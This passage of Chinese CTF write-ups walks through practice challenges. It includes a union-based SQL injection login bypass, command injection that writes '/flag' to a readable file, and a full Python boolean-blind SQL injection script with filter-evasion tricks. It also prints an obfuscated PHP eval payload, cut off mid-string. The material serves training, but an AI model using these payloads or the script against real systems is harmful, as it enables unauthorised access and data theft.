( row['password']===md5(row[ ′ password ′ ]===md5(password)) 或者构造如下poc:username=' union select 1,'76a2173be6393254e72ffa4d6df1030a'#&password=passwdpasswd的md5值为:76a2173be6393254e72ffa4d6df1030a通过bupsuit进行发送数据包,发现能成功登录系统那么用户名:' union select 1,'76a2173be6393254e72ffa4d6df1030a'#密码:passwd输入以上用户名和密码也能成功登录系统: 在输入框中输入以下字符串测试:lstest;lstest;cat index.php发现除了进程信息之外其他的都没有回显,不知道是不是有过滤,又更换命令的分解符号为|,&,&&均没有反应,这样存在两种可能,命令执行了,输出过滤了,或者是命令被过滤了这里采用写入文件二次返回的方法查看结果通过ls ../../../写入到test文件中123|ls ../../../>test访问http://114.67.246.176:11727/test发现在根目录下存在flag文件通过cat /flag命令写入到test文件中123|cat /flag>test访问http://114.67.246.176:11727/test,可得到flag的内容:最终flag:flag{471a4bb73b22b760eb3e317822dceafa} 题目名称:sql注入题目描述:基于布尔的盲注题目writeup:启动题目场景获得靶场网站,发现页面是一个登陆窗口。http://114.67.246.176:12716/输入admin用户,密码任意,发现密码错误,证明admin用户存在靶场系统中,但是不知道密码是多少。输入用户admin' 密码任意,显示用户名不存在,说明单引号没被过滤 输入用户admin'#密码任意,显示密码错误,推测注释符号#被过滤了,但是输入用户名admin'%23或者admin'--,密码任意,显示用户名不存在,那么注释符号%23和--没有被过滤。测试发现…还过滤了空格,逗号,等号,for,空格用括号代替,等号用相反的<>(一种不等号)代替 之前的一组布尔要与payload结合起来,形成true/false的布尔。 这里使用^ 异或或者or 来实现都可以。 ,那么异或(^)或者-号以及单引号都没过滤,使用脚本异或注入跑出flag: #coding=utf8 # 布尔盲注不仅仅是在密码正确和密码错误两种情况下,比如你输入账户,可能出现“账户不存在”和“存在”两种情况,这也是布尔。 import requests import string, hashlib url = 'http://114.67.246.176:12716/' sss = string.digits + (string.ascii_lowercase) a = '' for i in range(1, 50): flag = 0 for j in sss: payload = "admin'^((ascii(mid((select(password)from(admin))from(%s))))<>%s)^1#" % (i, ord(j)) # 屏蔽了",",改用mid()函数,from表示起始位置 # ascii()当传入一个字符串时取出第一个字母的ascii(),相当于mid()的第二参数,for取出,也相当于limit # <>表示不等号 # ^表示异或 payload2 = "admin123'or((ascii(mid((select(password)from(admin))from(%s))))<>%s)#" % (i, ord(j)) # 由于没有屏蔽or,所以也可以用这个,可以形成一组布尔 payload3 = "admin123'or((ascii(mid((select(database()))from(%s))))<>%s)#" % (i, ord(j)) data = {'username': payload, 'password': 'admin'} res = requests.post(url, data=data).text if 'username does not exist!' in res: a += j flag = 1 print(a) break if flag == 0: break print(a) 得到paswword的MD5值:4dcc88f8f1bc05e7c2ad1a60288481a2通过在线password md5解密得到password的明文:bugkuctf尝试输入用户名admin,密码:bugkuctf,可成功登陆到系统后台。并获得flag最终得到flag:flag{003cacd6ecd6f1d33f935ef2acab6ea9} 题目名称:getshell题目writeup:启动题目场景,获得靶场网站,这里访问靶场网站的主页index.php页面,发现页面显示了一段php代码http://114.67.246.176:10472/index.php得到的php代码已被混淆加密了:<?php define('pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn', __FILE__); $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{6} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30}; $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{10} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{10} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24}; $vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV = $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{0} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{18} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{0} . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{1} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24}; $ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{7} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{13}; $BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC.= $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{22} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{36} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{29} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{26} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{32} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{35} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{26} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30}; eval($BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC("JE52aXV5d0NlUFdFR2xhY0FtZmpyZ0JNVFlYekhacEl4RHFRbnNVS2tob3RGU09SZFZKTGI9IldBckllVEJFWFBaTlN0b3ppZ2hmcENPUlV2S0x5eFFubXdsR2NqYVZiRGtGdUpZZHNNSHF1d1dBZW1NVWhRb0NMYURma0Z4VEtsenRCWHJkT2liSEpqeU52WVNQcGNzSVpFR1JnblZxUWM5alNWd0ZvTlBKU3U1eXJsUjZTMkNzcHV5TlBJb3JMSUk1dnU5RFJVYU9wSHhmbVZSSmIwdGpQQnlvU3lFSXVzRUNQMmlidVU5MlJCNUhCMkV4b0JJVkVPaWpvSmE2dVBQeXBWeEl0MjF1RzJ0VW1zaUJTeXhjQjB5SG1CRWRtM1BBYkJvNUJIdHhHSjlpUjBLS0JQUjJ2MUtPQk54WnJtZ3NieW96R3NDWVNKOWlHdTUxdnlJeVNVeUh0QjlhbVVSU21QUDZlUHQ0QlZDMFMzUk1SSm9qQjBhTHVOaXJTdXRodFVvb0xjMTF2Smlzb3VDWG9OQkRBa0IydG1VeUMwVXlDWUF5bnNHeUNzYnlDWVUxRW1QY0VtdjJFbXYwbmxCMnptQTRFbUVVRW12akVtdjRFbXYxRW12aUVtdjVFbUVNQ2tCMmJPQjNua0IyYmtCMkNsQjJDZnN5Q0JHeUNZQnlDWUZ5Q1lueUNmbnlDZnZ5Q3NHMEVtRWxFbUcybmZ2eUNzVWtybWdzR2h5enZ1NXlwM0VVTFZ4TmJ5QzNHMGFEbU5LckJWdFFTQkNKdUJJSHVIb2twSXhQQnl0aFBKMWp0QjF0dDJhNkx1dGZSbTBzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmdmVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnMlRMNHNieW96R3NDWVNKOWlHdTUxdnlJeVNVeUh0QjlhbVVSU21QUDZlUHQ0QlZDMFMzUk1SSm9qQjBhTHVOaXJTdXRodFVvb0xWZ2ZuMzBaRVVFdW1KRWNHMktYdnVJWlJoRXRvdXhFbzBQUXBCaVZ1czFQZUh5QmVJTWZSTmEzYmhvSnZJQ2RCeXhnTEp5c1AwdE51Qng3bmZNOXpPdG90MUtBUkp5amIzUDZtMW9pdnlSQkJCb2dvSHlsTGh0YnYyeGtHM3h5THMxZEdCUEdwMjEzQkpSWlB1YW1vVUlubXN0cVFMdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmbmZUTDRzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmdpblYwWkVVRXVtSkVjRzJLWHZ1SVpSaEV0b3V4RW8wUFFwQmlWdXMxUGVIeUJlSU1mUk5hM2Job0p2SUNkQnl4Z0xKeXNQMHROdUJ4N25ZdDlka3RsUHM1a2IyQ3FwM0l4cEhQT0J1UERMdVJJbTIxbnQxS0NQaEs1UFZ4YnYzdFdSMEkyb0hNbUwxRUdwVUtLb0lSVXR5eUFlZlVqVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnT0NWMDdFSXRzdlUxclMyeEd0aElTbUpDYkdoeGtlQmFodDNLdVJOUEhCdTVPdUJpUXRKeTFTc3RjcEJ4THBWUk1iSjlQTGhvbXYyRzlFSXlWdXN4MlNoTWNSaEtRUEhJT1AxdHR0SmlKZUJFRVJJTWZTTkVZZU5Qcm1CYXh0UHhYcGhSTG8yNVBTMUNzYkJpenROSzduVjBaRVVFdW1KRWNHMktYdnVJWlJoRXRvdXhFbzBQUXBCaVZ1czFQZUh5QmVJTWZSTmEzYmhvSnZJQ2RCeXhnTEp5c1AwdE51Qng3bm14OWRrdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmQzlka3RvdDFLQVJKeWpiM1A2bTFvaXZ5UkJCQm9nb0h5bExodGJ2MnhrRzN4eUxzMWRHQlBHcDIxM0JKUlpQdWFtb1VJbm1zdHFlZk05ZGt0b3QxS0FSSnlqYjNQNm0xb2l2eVJCQkJvZ29IeWxMaHRidjJ4a0czeHlMczFkR0JQR3AyMTNCSlJaUHVhbW9VSW5tc3RxZWZJOWRrdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmQTBUbWdzdjNLeUcyMW9SdUlPcFZ4TlBCeWhldTlrUk5vWm1VNXJCUHRjdFZvYlMxb210MHhIdFBLS3VOeFFtQmEzdlVFc2J1S2lCWTBzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmczVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnaW4zMDdFTkk1bUhJWm91OU90VXg0dHNFbVIyQ2RTVWlxTHlNMG0yeWNveXlNbzFLMkdKaUdQUEVCUDFvYXZVUENCQlJXZXN5c3YzQlpRTHRsUHM1a2IyQ3FwM0l4cEhQT0J1UERMdVJJbTIxbnQxS0NQaEs1UFZ4YnYzdFdSMEkyb0hNbUwxRUdwVUtLb0lSVXR5eUFlZkFPVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnZkNIMFpFVUV1bUpFY0cyS1h2dUlaUmhFdG91eEVvMFBRcEJpVnVzMVBlSHlCZUlNZlJOYTNiaG9KdklDZEJ5eGdMSnlzUDB0TnVCeDduWXk5ZGt0bFBzNWtiMkNxcDNJeHBIUE9CdVBETHVSSW0yMW50MUtDUGhLNVBWeGJ2M3RXUjBJMm9ITW1MMUVHcFVLS29JUlV0eXlBZWZBMlRMNHNieW96R3NDWVNKOWlHdTUxdnlJeVNVeUh0QjlhbVVSU21QUDZlUHQ0QlZDMFMzUk1SSm9qQjBhTHVOaXJTdXRodFVvb0xWZ2ZuVjBaRVVFdW1KRWNHMktYdnVJWlJoRXRvdXhFbzBQUXBCaVZ1czFQZUh5QmVJTWZSTmEzYmhvSnZJQ2RCeXhnTEp5c1AwdE51Qng3bmZFOWRrdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmbjFUTDRzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmdPQ0gwWkVVRXVtSkVjRzJLWHZ1SVpSaEV0b3V4RW8wUFFwQmlWdXMxUGVIeUJlSU1mUk5hM2Job0p2SUNkQnl4Z0xKeXNQMHROdUJ4N25mTTl6MlAyR3VqREVOSTVtSElab3U5T3RVeDR0c0VtUjJDZFNVaXFMeU0wbTJ5Y295eU1vMUsyR0ppR1BQRUJQMW9hdlVQQ0JCUldlc3lzdjNCREFzS0l1czl4TElLeEJZTWpweW9ndHlva3VWTTVHMFI0dlBLR3RIRUJudWl6UG1NZ1NQb0FCSG9ZblZ0Q0J1NURCMUdPdHN5eFBCNXFCeVBMblBLTlNVRXNuQkExdUowMHpCeWd2VlB5cHlLNUJzUnVleUNocFU1a1BCb2RQQlB6bklvWmJ5eXNuQjVMQllFTnYxb1BlTjl1bll5V29QUnp0MUV1Qll0U251aml1dWlyYjFDSVJJTXhuY1BpdUo1TmV5eXVMc2F5UEppNFBjTTBTeW9HTEh0dW5VR09Hc1JycHlLV25QSUxTMngyb2NDTHAySWd1SmF4UHlFckcwb0RiMUVoQ1BFaHBITUJQVXh1TE5Vam1zUFNQbUIwQlBvV0NQdGh6bUlrUGZQbFB1S3R6QnlxUk5pc3BCb2ZMMENZZDFNS0czUHJ0MEcxUE41TlJQS2h6aHlMdHVGMEJKYXJQTmJPbXNpeHRoeGlCMmlsbkliT3BVdFNwTmlsdVlJam55eWFlSXl1UHNLUFBZSVNSTkNJUHM1UFB1dE9vdWFnUzJuZlB1OXJ0SmlBUDJhRG5KSUdic3RzdVZNYlBKNU5lUEdpQnlFTHBoeGFvUFByTEp0TmJIS3h0MEtxb0JSdUwxdFBSTnhMUEp4Mkd5eHNCMURPQ1BveG5CNVdCUFA0bTFFVnAyOXJ0eUVXRzBCaUwyVU9TSXlMdVVveFBOMXpCUHlHU055eVBodEdCWUNqUDJ0VlBKNVBQZlA1UDFQNEJJRWFwY0l4UzFFVUd5UERCMkVBb1VFdHBteXVCMXhTUE5uT3V1OXJ0UEtRR0J4U0dQQWp2TjV1cFVvdUd5eGpldUNWZVZJU3VVb09QY0lnbXlCanBOeXVMSUUyR2ZNMG1QSVpTSUN1bnNvRUdQUHpTeUVQQllJU3RKeGxvY0lsQ1BLYUNWQ3JMVTQydXlSelJJUkdQSnhZcGhGMEJKaXVMeUdmcFZvb3B5RWFHSmE0bTFDZ3R5UHRuSUFPUEJSMFAxQmpvVXlTbklveEdQb0RwMWJqbkJpc24wRWN1c1BOdnVDdUxoSUNTdWFmTHNvTFMyQ0luQmF4bkp4b0J5eE5HUHRhbXlJb3VOeEtvUFAwdUlBZnZJUnN0MW9aUFB2MWVQUlBlSU1McHVqaUd1YUx0TkVQU0lDa0xOdGxCdTA1UHlDR3V5dFlueXlYTHNQU20ySUF1SklMblZNWlBKaU5QSkVHdlZ5WXQzeGl1eXhOdnliaXBVNVBuTmlLUHN4TFJKbmpSVTF0cEp4bVBZRU5MdUlQbUpLTFBQQWl1c29EYkpiaWJZUFNwbXRmTHN4ekN5S2htSHRodUlvREcyMTRDSUVnUHNLdW4yaTJ1dTVMcHVFV2VVOW1wVW9QQm1NTG55UFZSSVJQbk50RXVZTXVHdUl1U045Qm5jSW5vY0NsYjFLSXRISVlQc3lmTHN4ekN5S2htSHRodUlvREcyMTRDSUVnUHNLdW4yaTJ1dTVMcHVFV2VVOW1wVW9QQm1NTG55UFZSSVJQbk50RXVZTXVHdUl1U045Qm5jSW5vY0NsYjFLSXRISVlQc3lqbVVDTFBQS0FiczVtcGh0WFAwUHVlSVJXQ3VLUHQwRzB1dTVnbUlHam9jb3VweUVndVlJTlJ1Q2dwVTFCbklLam9JUmp0UFVPbkJ5UHBoRmZCUFByUnlvUHBjRVBuMDVhTDBDTHQxdGFTY0VoUzJ0ZHVZSVNCeW9obm1vWXBzRWZHdTF1ZU5VanpQS0JQczVydXVpTG5OQWZtc2lCdEJEMFB1aXNTSUNWcFV0b25Jb0lvSVJMdVBJR29JSXlQMUsxbVV0TXYwS0FtWW9TUDA1MFAxeHVTTkNhZWN0THBJb3JQWUNnUnl5WkJKMWtTM3hRQjJpTlBQVWpCWUVQdDN0aFBtTXNMUERqUEpJeFBKeFhQY3dpbU5iZmJzQ1N0Qm9pRzFvRXZVYW1TM01RUmYwOUFrc0t6ZjgrUWM5alNWd0ZvTlBKU3U1eXJsUlpTeW81djBFU1JIeE9tTmFOdXV0enAyb1lvMFIxR2hSVUxKRWd2VTltQkJQQUJ5UGFMMnlNU1ZLRWIyUDBCVTFpdUlSQkVPaWpvSmE2dVBQeXBWeEl0MjF1RzJ0VW1zaUJTeXhjQjB5SG1CRWRtM1BBYkJvNUJIdHhHSjlpUjBLS0JQUjJ2MUtPQk54WnJtZ3NtMmladE5hNm1KUGlSSktkcFB5RG1CRUVCM3hyYjNQU295SUxSMGloTFVSTnYzdFBHMElYdUlvNXZKRUt0UHRiR3V0SHZjMTF2Smlzb3VDWG9OQkRBa0IydG1VeUMwVXlDWUF5bnNHeUNzYnlDWVUxRW1QY0VtdjJFbXYwbmxCMnptQTRFbUVVRW12akVtdjRFbXYxRW12aUVtdjVFbUVNQ2tCMmJPQjNua0IyYmtCMkNsQjJDZnN5Q0JHeUNZQnlDWUZ5Q1lueUNmbnlDZnZ5Q3NHMEVtRWxFbUcybmZ2eUNzVWtybWdzTE5FR29WdFZQdWF5dEJ0Z0JKUmpSM0N4dkpvWlB5eVhQSUNkTHVDYlJKeGNQMktsU2hLdG1JSzR0czExZXUxTW1ISXJtZjBzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmdmVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnMlRMNHNtMmladE5hNm1KUGlSSktkcFB5RG1CRUVCM3hyYjNQU295SUxSMGloTFVSTnYzdFBHMElYdUlvNXZKRUt0UHRiR3V0SHZWZ2ZuMzBaRVU5Z3BzdFdlczV5dmhvcUwyMW9TVTFsTFBDNExzQzF1Sm90QkhSblAweFZ0SEMwUHVDTXAxeHVlaEVrU0JQQkJOSXNvM003bmZNOXpPdEVwMkN5YjI1aVBzYVF0SmFPcElFcVBQTUlvVTVEYmhQbW1CS2xlSjFWUnl0bmVodEt2MlJqdXl5a0JQeEFvc3QzUDN4eFFMdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmbmZUTDRzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmdpblYwWkVVOWdwc3RXZXM1eXZob3FMMjFvU1UxbExQQzRMc0MxdUpvdEJIUm5QMHhWdEhDMFB1Q01wMXh1ZWhFa1NCUEJCTklzbzNNN25ZdDlka3RRcE41VVMzS3pvaEkyU3NhYXV1eENic3ltZVVLY1JQS0pCUEUzbUlSQXQwb2ZSSVBZYnU5R1BIeU9HSnlJUElNeG9OUmplZlVqVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnT0NWMDdFVXRZR0h5Ym1ITW9CMGExdEJDMm91YUVQeUtnbTFJTlBVMTNvMXhLcHNJSkd1OUFvVktpU1VSaEJIRW52MjFyYkpLUFJWRjlFVXlYRzJQY3BISXVMMDlOUzNFZ0JKS1BCVVBzbUp4TVJQQ0NMc0U2cEJSMlBVaTVSTnlmbzNNU3V1RXR1VXhKdFZSaGVOSTduVjBaRVU5Z3BzdFdlczV5dmhvcUwyMW9TVTFsTFBDNExzQzF1Sm90QkhSblAweFZ0SEMwUHVDTXAxeHVlaEVrU0JQQkJOSXNvM003bm14OWRrdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmQzlka3RFcDJDeWIyNWlQc2FRdEphT3BJRXFQUE1Jb1U1RGJoUG1tQktsZUoxVlJ5dG5laHRLdjJSanV5eWtCUHhBb3N0M1AzeHhlZk05ZGt0RXAyQ3liMjVpUHNhUXRKYU9wSUVxUFBNSW9VNURiaFBtbUJLbGVKMVZSeXRuZWh0S3YyUmp1eXlrQlB4QW9zdDNQM3h4ZWZJOWRrdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmQTBUbWdzUzJDM0wyRW1vMnhoU2hLb3RoUE10MHRRUFVveExJeHRCSHRabVZ5bHBVS2piMHlhb3VLZnZzNTJ1SEliUFBvNG9zMXNwZjBzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmczVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnaW4zMDdFVXhrdU50MHQxUFdvQlBVcElFSHZWUmZHaEVKcHlvb3AxdG1MMHlZQlZvRGIxUnFiSnk2QkJpU2VVb0NSaHlhYkI1aUxzOFpRTHRRcE41VVMzS3pvaEkyU3NhYXV1eENic3ltZVVLY1JQS0pCUEUzbUlSQXQwb2ZSSVBZYnU5R1BIeU9HSnlJUElNeG9OUmplZkFPVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnZkNIMFpFVTlncHN0V2VzNXl2aG9xTDIxb1NVMWxMUEM0THNDMXVKb3RCSFJuUDB4VnRIQzBQdUNNcDF4dWVoRWtTQlBCQk5Jc28zTTduWXk5ZGt0UXBONVVTM0t6b2hJMlNzYWF1dXhDYnN5bWVVS2NSUEtKQlBFM21JUkF0MG9mUklQWWJ1OUdQSHlPR0p5SVBJTXhvTlJqZWZBMlRMNHNtMmladE5hNm1KUGlSSktkcFB5RG1CRUVCM3hyYjNQU295SUxSMGloTFVSTnYzdFBHMElYdUlvNXZKRUt0UHRiR3V0SHZWZ2ZuVjBaRVU5Z3BzdFdlczV5dmhvcUwyMW9TVTFsTFBDNExzQzF1Sm90QkhSblAweFZ0SEMwUHVDTXAxeHVlaEVrU0JQQkJOSXNvM003bmZFOWRrdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmbjFUTDRzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmdPQ0gwWkVVOWdwc3RXZXM1eXZob3FMMjFvU1UxbExQQzRMc0MxdUpvdEJIUm5QMHhWdEhDMFB1Q01wMXh1ZWhFa1NCUEJCTklzbzNNN25mTTl6MlAyR3VqREVVeGt1TnQwdDFQV29CUFVwSUVIdlZSZkdoRUpweW9vcDF0bUwweVlCVm9EYjFScWJKeTZCQmlTZVVvQ1JoeWFiQjVpTHM4REFzS0lTTjFzUHM1WlBJUHJCTlBWU1Zvc3BzRGpHSjBpdUpQYVJJb0xuSUtOUDI1enZJRU5TY1BtUzJpZnV1YTB0SUdPdlZSdVMzeHRQc3hzU0pDaFBKeEJTMG9tdXNvSXpCeWdvY010bjJ4NkcxUHVuUHRJQ1BQUG5OdG1HbUlTcFBSV1JVeXhwSW9TUEJQZ1J5RE9DQkN4UFBLWEcyMXJDUGJpU054b25Vb2dHc3ZpbjJDSXZOYXlweUtMQnNCaXQxeWdMeUtrUzN4Z1BZQ3VMSW9JUlZLQnBWd09QY0NsU3lEalBIeXN0Snhjb0JQekJKRVZ2SVJTUzFBZlBtQWlDdUNQU1ZNeG5CRXpvdTFMTDF5UHBWb3RQMnh1UDBSSEN1UFp0SjV4UHV0bVBJUlNTMkNVTEoxa3Bzb1Z1UHhEU0lvcXBVNVlQUEtTUEJSemVzNVBlY0VQUHNFckJQb2xTMDFhUk41bXBJbzRtQnhsUjJDVlBtSWtuMEV6QllJTm0wMGZ1SjFvUFVFUXVtQ0xteVJHdklQQ1B1dFFQTjVycFBuZnVzUkN1SW80RzJpU0NOVWl2SUl4TFVBMVBOYU5QdVB1dVlNc1Nzb2x1c3ZpQ3MxVm1zRVluMXk1b1VQU0NKUEl2SVJRUEJvUG1QUHNlUEVxbXlJb3BKdDZQQlBnZU5QUG9OYW10VUt0R1lDWWVQeWF0Skt1dGZiNUx1SzBwTnRhdEhDZGIyblhCTnlZUkJLSVNOeWh0MUFqQllJdXZ5S1BQc1BrdHNLWkcweHNleXlHTEoxa3BJS1NHWUlMUEluanBOS1BMSUtYQm1Jc3ZQSWFwY29QUGh4eG9CUFNtSnRHcFZ0dFBtUDRCMmc0cDBLSXBWb29ueW9VR0o1TlAxbmp6QlJ4bjBLZlB1MWpQeVBJUEphQnB1eGxvSW96bXlDV0xZb2tQdWJPUHNQNEN1dFZwVktTbjBFeFAxUnJCeVJJU04xTExOdEdvQlJJcDBLSUJKS29wSml0UE41bHV5QmpSY0lMUEI0T3V5UjBMeW9ndlZDQm5Cb1ZQc0JpbjFEaVNWTWtTMG9hdVB2NUxQS0F2Vnh4dHV0R1B1NXJtdW5PbkJhdHBoTXVvVXhIcDBLSVNOMXNQczVaUElQckJOUFZTVm9zcHNEakdKMGl1SlBhUklvTG5JS05QMjV6dklFTlNjUG1TMmlmdXVhMHRJR092VlJ1UzN4dFBzeHNTSkNoUEp4QlMwb211c29JdjBLVlJOS3NuVnRLUG1Fc3AxR09wY29oUFBHaUJQUHN0UGJpQnNSb1B1eG9QUG9ybk5FV2VjUHRwaHhkRzBQekxKRWhQSElZbjBLUW9OaWplSVBOUHlSeXQxS3p1c3Y0dkIxS1MzQ3J0UEVxdXU1Z0JQdFpieUtQblZiaUJ5UHpueUtoUlVLdXBWTWZQY0lOdDFvSW5tQ1NudXhqR0phTnBQeWh6QnlTTFZNNEdCUHN1SVBaTHMxWW5ZSWRCdTFqUEp0QW8yOXJ0dXhhb0lvenB5dFBMeU15dDJ4Mm9ONXJuTkVhblBLeXBodHVCWU1TdHlSWm1ITUx0SkYxQjJhZ3YxeVdSVXR1bkhNM1BKYTRCUG9Bb05LWVAxb0RQTmFOQjFLTnRoQ3J0M3Rxb2NNMFNQQk9vTjl1bkpqMlAxUHVuUElQb1VQQm5QRVZ1UFBEdVBQdUxZTWtTM0YxQnUxNEwyQ0ltc0trUDFvaUdmQ3JtMnRndlZ4UHR5b2hvQlJTbXlLVnpWQ3J0M3Rxb2NNMFNQQk9vTjl1bkpqMlAxUHVuUElQb1VQQm5QRVZ1UFBEdVBQdUxZTWtTM0YxQnUxNEwyQ0ltc0trUDFvaUdmQ3JtMnRndlZ4UHR5b2hvQlJTbXlLVnpWTW5iMUVJdW1FckNQUElDaFJoUHM1bm9JUHV0TnRhUEhFbVB5S3hHc0I1QnlFZ0JzNXNuSnRvR1B2MWJ5S2F0SG9tdDFBMkcxUk